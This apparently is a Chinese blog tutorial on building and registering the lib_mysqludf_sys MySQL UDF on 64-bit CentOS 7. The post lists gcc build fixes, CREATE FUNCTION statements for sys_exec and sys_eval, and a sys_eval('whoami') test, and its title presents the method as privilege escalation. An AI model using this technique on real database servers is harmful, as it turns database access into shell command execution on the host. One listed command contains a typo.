mysql udf 触发器_linux centos 7 64位 安装mysql udf 提权 mysql 触发器执行shell命令

本文介绍了如何在64位Linux CentOS 7系统中安装MySQL用户定义函数(UDF)lib_mysqludf_sys.so,并通过触发器执行shell命令。内容包括编译命令的更新、解决缺少库的问题以及测试UDF功能的步骤。注意,UDF的执行权限取决于MySQL运行用户的权限。
摘要由CSDN通过智能技术生成

linux centos 7 64位 安装mysql udf 提权 mysql 触发器执行shell命令

作者:admin 发布于:2019-8-25 13:10 Sunday

分类:Linux

项目里有编译好的lib_mysqludf_sys.so文件,不过项目比较老旧了,此so文件只适合32位的linux

强行在64位上使用,只会让你更加尴尬

738f1012035617feb2d8a88b52f58730.png

这是我编译后和项目自带的so为文件对比

3b4cb45de14e79f16a691b324d76bd5e.png

首先需要先复制so文件到指定位置:

cp lib_mysqludf_sys.so /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so

在32位linux下安装命令:

DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;

DROP FUNCTION IF EXISTS sys_get;

DROP FUNCTION IF EXISTS sys_set;

DROP FUNCTION IF EXISTS sys_exec;

DROP FUNCTION IF EXISTS sys_eval;

CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';

CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';

CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';

CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';

CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';

如果想在64位linux下使用需要自己下载源码编译

//此项目给的编译命令也已经过时

//这是makefile中的命令

gcc -Wall -I /usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so

//正确的命令

gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I /usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so

在使用源码编译时,可能会遇到缺少库的情况,比如:

lib_mysqludf_sys.c:fatal error: my_global.h: No such file or directory

此时需要先安装

yum install mysql-devel

#apt-get install libmysqld-dev

另外附两条查看so导出函数的命令:

objdump -tT lib_mysqludf_sys.so

nm -Dlib_mysqludf_sys.so.so

执行命令测试一下吧

sys_eval('whoami')

命令能否执行成功,取决于mysql运行的用户权限!

昵称***(必填)

邮箱(选填,填写后您会收到我的回复!)

网址(选填,填写后本人回访哦!)

b60173719213ee32331729fc12dce452.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值